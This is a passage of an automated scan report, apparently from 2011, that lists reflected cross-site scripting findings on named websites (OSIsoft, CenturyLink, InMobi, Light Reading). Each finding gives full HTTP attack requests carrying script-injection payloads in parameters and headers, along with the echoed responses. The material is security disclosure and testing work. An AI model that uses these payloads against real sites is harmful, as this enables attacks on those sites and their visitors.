Content-Type: text/html; charset=utf-8
Content-Length: 45096
X-Cacheable: YES
Date: Thu, 13 Oct 2011 11:22:24 GMT
X-Varnish: 559114718
Age: 0
Via: 1.1 varnish
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:meebo="http://www.meebo.com">
<head>

   
<scri
...[SNIP]...
<script>
setTimeout ( function () {
COMSCORE.beacon({
   c1:2,
   c2:"5000004",
   c3:"",
   c4:"www.mevio.com/signup/?d3621</script><script>alert(1)</script>46704f1778a=1",
   c5:"",
   c6:"",
   c15:""
   });
io.mev.crux.queue( 'verified' );
}, 0 );
</script>
...[SNIP]...

1.12. http://www.osisoft.com/ [__CALLBACKID parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.osisoft.com
Path:   /

Issue detail

The value of the __CALLBACKID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b699c'%3b65f38d8daed was submitted in the __CALLBACKID parameter. This input was echoed as b699c';65f38d8daed in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

POST / HTTP/1.1
Host: www.osisoft.com
Proxy-Connection: keep-alive
Content-Length: 125
Origin: http://www.osisoft.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html, */*
Referer: http://www.osisoft.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: EktGUID=ab76a59a-aded-407a-8382-a8181d4f4fdb; EkAnalytics=0; ASP.NET_SessionId=emoqeljex5i34abjraoige3b; ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.osisoft.com&SiteLanguage=1033; www.osisoft2=889786378.20480.0000; TS64a825=2ded7692c29faa163600c796b04858add1eb1bf336f852ab4e96bade800ae90451ddd21b; osisoft=2030637066.20480.0000; __utma=166505888.2017273166.1318503385.1318503385.1318503385.1; __utmb=166505888.1.10.1318503385; __utmc=166505888; __utmz=166505888.1318503385.1.1.utmcsr=kpcb.com|utmccn=(referral)|utmcmd=referral|utmcct=/portfolio/portfolio.php

__CALLBACKID=AnalyticsTracker1b699c'%3b65f38d8daed&__CALLBACKPARAM=command%3DTrackVisit%26contentIds%3D&__VIEWSTATE=&EktronClientManager=EktronJS

Response

HTTP/1.1 200 OK
Cache-Control: private, no-store
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
Set-Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.osisoft.com&SiteLanguage=1033; path=/
X-Powered-By: ASP.NET
Date: Thu, 13 Oct 2011 10:56:35 GMT
Content-Length: 129
Set-Cookie: TS64a825=2ded7692c29faa163600c796b04858add1eb1bf336f852ab4e96bade800ae90451ddd21b; Path=/

eThe target 'AnalyticsTracker1b699c';65f38d8daed' for the callback could not be found or did not implement ICallbackEventHandler.

1.13. http://www.osisoft.com/company/press_releases/Press_Releases_-_Media/OSIsoft_Announces_Its_Selection_as_the_Operational_Data_Management_and_MDUS_for_Consumers_Energy.aspx [__CALLBACKID parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.osisoft.com
Path:   /company/press_releases/Press_Releases_-_Media/OSIsoft_Announces_Its_Selection_as_the_Operational_Data_Management_and_MDUS_for_Consumers_Energy.aspx

Issue detail

The value of the __CALLBACKID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 13ebf'%3b7ee39452fff was submitted in the __CALLBACKID parameter. This input was echoed as 13ebf';7ee39452fff in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

POST /company/press_releases/Press_Releases_-_Media/OSIsoft_Announces_Its_Selection_as_the_Operational_Data_Management_and_MDUS_for_Consumers_Energy.aspx HTTP/1.1
Host: www.osisoft.com
Proxy-Connection: keep-alive
Content-Length: 153
Origin: http://www.osisoft.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html, */*
Referer: http://www.osisoft.com/company/press_releases/Press_Releases_-_Media/OSIsoft_Announces_Its_Selection_as_the_Operational_Data_Management_and_MDUS_for_Consumers_Energy.aspx
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: EktGUID=ab76a59a-aded-407a-8382-a8181d4f4fdb; EkAnalytics=0; ASP.NET_SessionId=emoqeljex5i34abjraoige3b; www.osisoft2=889786378.20480.0000; osisoft=2030637066.20480.0000; ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.osisoft.com&SiteLanguage=1033; TS64a825=74a9751ddca3e7a2f87adf67ec810267d1eb1bf336f852ab4e96beb1800ae90451ddd21b; __utma=166505888.2017273166.1318503385.1318503385.1318503385.1; __utmb=166505888.2.10.1318503385; __utmc=166505888; __utmz=166505888.1318503385.1.1.utmcsr=kpcb.com|utmccn=(referral)|utmcmd=referral|utmcct=/portfolio/portfolio.php

__CALLBACKID=ctl00%24ctl00%24ctl00%24AnalyticsTracker113ebf'%3b7ee39452fff&__CALLBACKPARAM=command%3DTrackVisit%26contentIds%3D6672&__VIEWSTATE=&EktronClientManager=EktronJS

Response

HTTP/1.1 200 OK
Cache-Control: private, no-store
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
Set-Cookie: ecm=user_id=0&isMembershipUser=0&site_id=&username=&new_site=/&unique_id=0&site_preview=0&langvalue=0&DefaultLanguage=1033&NavLanguage=1033&LastValidLanguageID=1033&DefaultCurrency=840&SiteCurrency=840&ContType=&UserCulture=1033&dm=www.osisoft.com&SiteLanguage=1033; path=/
X-Powered-By: ASP.NET
Date: Thu, 13 Oct 2011 11:13:09 GMT
Content-Length: 147
Set-Cookie: TS64a825=74a9751ddca3e7a2f87adf67ec810267d1eb1bf336f852ab4e96beb1800ae90451ddd21b; Path=/

eThe target 'ctl00$ctl00$ctl00$AnalyticsTracker113ebf';7ee39452fff' for the callback could not be found or did not implement ICallbackEventHandler.

1.14. http://www.centurylink.net/security/index.php [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.centurylink.net
Path:   /security/index.php

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 99880'-alert(1)-'7af09631ae6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /security/index.php HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=99880'-alert(1)-'7af09631ae6

Response

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 13 Oct 2011 11:22:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTYy; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTYy; expires=Sat, 12-Oct-2013 11:22:42 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=6da9a521988685d8ca9183c33c0f0b876bb980bc-1318504962; expires=Fri, 12-Oct-2012 11:22:42 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:22:42 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576962%2C%22http%3A%5C%2F%5C%2Fwww.google.com%5C%2Fsearch%3Fhl%3Den%26q%3D99880%27-alert%281%29-%277af09631ae6%22%5D%7D; expires=Sun, 13-Oct-2013 11:22:42 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:22:41 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 48918
X-Varnish: 3874655940
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>CenturyLink&trade
...[SNIP]...
<script type="text/javascript">
$.cookie('ctl_referring_url', 'http://www.google.com/search?hl=en&q=99880'-alert(1)-'7af09631ae6');
</script>
...[SNIP]...

1.15. http://www.centurylink.net/store/cinemanow/genre.php [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.centurylink.net
Path:   /store/cinemanow/genre.php

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8e0af'-alert(1)-'a1f0cfd502c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /store/cinemanow/genre.php HTTP/1.1
Host: www.centurylink.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=8e0af'-alert(1)-'a1f0cfd502c

Response (redirected)

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 13 Oct 2011 11:22:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Set-Cookie: temporalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTcx; path=/; domain=.centurylink.net
Set-Cookie: eternalchip=NTAuMjMuMTIzLjEwNjoxMzE4NTA0OTcx; expires=Sat, 12-Oct-2013 11:22:51 GMT; path=/; domain=.centurylink.net
Set-Cookie: session=35ad4440f6ac263e903b4b974e5280e151280a61-1318504971; expires=Fri, 12-Oct-2012 11:22:51 GMT; path=/; domain=.centurylink.net
Set-Cookie: synmaxymizer3=1; expires=Thu, 20-Oct-2011 11:22:51 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_0=%7B%22emerald_livefeedback0ctl_referring_url%22%3A%5B1381576971%2C%22http%3A%5C%2F%5C%2Fwww.google.com%5C%2Fsearch%3Fhl%3Den%26q%3D8e0af%27-alert%281%29-%27a1f0cfd502c%22%5D%7D; expires=Sun, 13-Oct-2013 11:22:51 GMT; path=/; domain=.centurylink.net
Set-Cookie: Synacor_1=deleted; expires=Wed, 13-Oct-2010 11:22:50 GMT; path=/; domain=.centurylink.net
P3P: CP="ALL DSP COR TAIa PSAa PSDa IVAa IVDa CONi OUR IND UNI"
Content-Length: 173164
X-Varnish: 1738261383
Age: 0
Via: 1.1 varnish

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <title>Home - Welcome to CenturyLink</title>
   <met
...[SNIP]...
<script type="text/javascript">
$.cookie('ctl_referring_url', 'http://www.google.com/search?hl=en&q=8e0af'-alert(1)-'a1f0cfd502c');
</script>
...[SNIP]...

1.16. http://www.inmobi.com/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.inmobi.com
Path:   /

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 868cb"><script>alert(1)</script>8779c16f613 was submitted in the Referer HTTP header. This input was echoed as 868cb\"><script>alert(1)</script>8779c16f613 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET / HTTP/1.1
Host: www.inmobi.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.google.com/search?hl=en&q=868cb"><script>alert(1)</script>8779c16f613
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Thu, 13 Oct 2011 10:54:13 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Pingback: http://www.inmobi.com/xmlrpc.php
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: siteref=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3D868cb%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E8779c16f613; expires=Thu, 13-Oct-2011 11:54:13 GMT; path=/
Content-Length: 54334

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<meta name="google-site-verification" content="pac45BH9VZRR2tx2bfuFO-OYDZi-bIG2_8EVWp5gZEQ" />
<meta name="viewport"
...[SNIP]...
<input id="Source_Url__c" name="Source_Url__c" type="hidden" value="http://www.google.com/search?hl=en&q=868cb\"><script>alert(1)</script>8779c16f613" class="text " />
...[SNIP]...

1.17. http://www.inmobi.com/company-news/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.inmobi.com
Path:   /company-news/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 99a3d"><script>alert(1)</script>b7a09196747 was submitted in the Referer HTTP header. This input was echoed as 99a3d\"><script>alert(1)</script>b7a09196747 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /company-news/ HTTP/1.1
Host: www.inmobi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=99a3d"><script>alert(1)</script>b7a09196747

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Thu, 13 Oct 2011 11:22:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Pingback: http://www.inmobi.com/company-news/xmlrpc.php
Set-Cookie: siteref=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3D99a3d%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Eb7a09196747; expires=Thu, 13-Oct-2011 12:22:21 GMT; path=/
Content-Length: 41361


<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>InMobi - Company News</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" t
...[SNIP]...
<a href="/?id=http://www.google.com/search?hl=en&q=99a3d\"><script>alert(1)</script>b7a09196747" title="InMobi &#8211; Company News" rel="home">
...[SNIP]...

1.18. http://www.inmobi.com/inmobiblog/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.inmobi.com
Path:   /inmobiblog/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eebe0"><script>alert(1)</script>3b2d2585eee was submitted in the Referer HTTP header. This input was echoed as eebe0\"><script>alert(1)</script>3b2d2585eee in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /inmobiblog/ HTTP/1.1
Host: www.inmobi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=eebe0"><script>alert(1)</script>3b2d2585eee

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Thu, 13 Oct 2011 11:22:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Pingback: http://www.inmobi.com/inmobiblog/xmlrpc.php
Set-Cookie: siteref=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3Deebe0%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E3b2d2585eee; expires=Thu, 13-Oct-2011 12:22:39 GMT; path=/
Content-Length: 88621

<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="user-scalable=no, width=device-width" />
<title>InMobi - Blog</title>
<link rel="prof
...[SNIP]...
<a href="/?id=http://www.google.com/search?hl=en&q=eebe0\"><script>alert(1)</script>3b2d2585eee" title="InMobi &#8211; Blog" rel="home">
...[SNIP]...

1.19. http://www.inmobi.com/press-releases/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.inmobi.com
Path:   /press-releases/

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d78bd"><script>alert(1)</script>871ee2454cd was submitted in the Referer HTTP header. This input was echoed as d78bd\"><script>alert(1)</script>871ee2454cd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /press-releases/ HTTP/1.1
Host: www.inmobi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=d78bd"><script>alert(1)</script>871ee2454cd

Response

HTTP/1.1 200 OK
Server: nginx/0.8.52
Date: Thu, 13 Oct 2011 11:22:18 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Pingback: http://www.inmobi.com/press-releases/xmlrpc.php
Set-Cookie: siteref=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3Dd78bd%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E871ee2454cd; expires=Thu, 13-Oct-2011 12:22:18 GMT; path=/
Content-Length: 41557


<!DOCTYPE html>
<html dir="ltr" lang="en-US">
<head>
<meta charset="UTF-8" />
<title>InMobi - Press Releases</title>
<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet"
...[SNIP]...
<a href="/?id=http://www.google.com/search?hl=en&q=d78bd\"><script>alert(1)</script>871ee2454cd" title="InMobi &#8211; Press Releases" rel="home">
...[SNIP]...

1.20. http://www.lightreading.com/live/event_information.asp [User-Agent HTTP header]  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.lightreading.com
Path:   /live/event_information.asp

Issue detail

The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload afb46"-alert(1)-"32fa10f79bf was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /live/event_information.asp HTTP/1.1
Host: www.lightreading.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)afb46"-alert(1)-"32fa10f79bf
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Server: nginx/1.0.2
Date: Thu, 13 Oct 2011 11:22:09 GMT
Content-Type: text/html
Connection: close
Vary: Accept-Encoding
Cache-Control: private
Content-Length: 165213
Set-Cookie: lightreading%5Flastvisit=10%2F13%2F2011+7%3A22%3A08+AM; expires=Mon, 13-Oct-2036 04:00:00 GMT; path=/
Set-Cookie: lightreading%5Fvisits=1; expires=Mon, 13-Oct-2036 04:00:00 GMT; path=/
X-Powered-By: ASP.NET


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns:og="http://ogp.me/ns#">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8"/>
<META name="keywords" content="lig
...[SNIP]...
";
s.channel="";
s.pageType="";
s.prop1="";
s.prop2="";
s.prop3="";
s.prop4="";
s.prop5="";
s.prop6="";
s.prop7="";
s.prop8="50.23.123.106 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)afb46"-alert(1)-"32fa10f79bf";
s.prop9="";
s.prop10="";
s.prop11="";
s.prop12="";
s.prop13="";
s.prop14="";
s.prop15="";
s.prop16="";
s.prop19="False";
s.prop20="";

/* E-commerce Variables */
s.campaign="";
s.state
...[SNIP]...

Report generated by XSS.CX at Thu Oct 13 06:59:34 CDT 2011.